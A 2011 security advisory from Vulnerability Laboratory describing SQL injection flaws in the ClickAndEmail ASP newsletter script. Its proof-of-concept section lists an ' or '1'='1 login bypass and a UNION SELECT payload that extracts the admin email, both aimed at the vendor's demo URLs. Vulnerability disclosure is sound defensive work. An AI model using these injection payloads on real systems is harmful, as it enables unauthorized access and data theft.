Document Title:
===============
Click&Email - Multiple SQL Injection Vulnerabilities



Release Date:
=============
2011-07-04


Vulnerability Laboratory ID (VL-ID):
====================================
219


Product & Service Introduction:
===============================
ClickAndEmail is a full featured ASP script to run your professional Newsletter management. It includes unlimited Newsletter Groups which allows you to handle subscribers of different sites or homepages, a HTML Newsletter form generator with color picker and a save-option for further use. Sends emails either as plain text or HTML formated to all subscribers or only to members of a certain group or to one selected member only. 

ClickAndEmail also includes a double opt-in; the subscriber needs to confirm the subscription before they are finally added to the list. The subscriber can opt-out by clicking on a link in the initial email or by entering their email address on the subscription form. Admin writes the Newsletter online and sends it in either HTML or Text format.


(Copy of the Vendor Homepage: http://icash.ch/index.html?ClickAndBanexDemo/default.html)


Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered multiple SQL Injection vulnerability on the ClickAndEmail Application.


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
Multiple SQL Injection Vulnerabilities are detected on the Click&Email App.
The sql injection vulnerability allows an attacker to inject/execute own sql statements on the application dbms.

Vulnerable Page(s):
				[+] admin_dblayers.asp
				[+] admin_loginCheck.asp


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers. For demonstration or reproduce ...

Example (Authentification Bypass) :
http://icash.ch/ClickAndEmailDemo/admin.asp
User : ' or '1'='1
Pass : ' or '1'='1


Example :
http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=Subscribers&redir=admin_subscribers.asp&ID=7%27
http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=Subscribers&redir=admin_subscribers.asp&ID=7'

PoC:
http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=Subscribers&redir=admin_subscribers.asp&ID=7+union+select+1,2,3,4,5,6,AdminEmail+from+admin#
==> The Email is shown in the Comment field !


Security Risk:
==============
The security risk of the sql injection vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory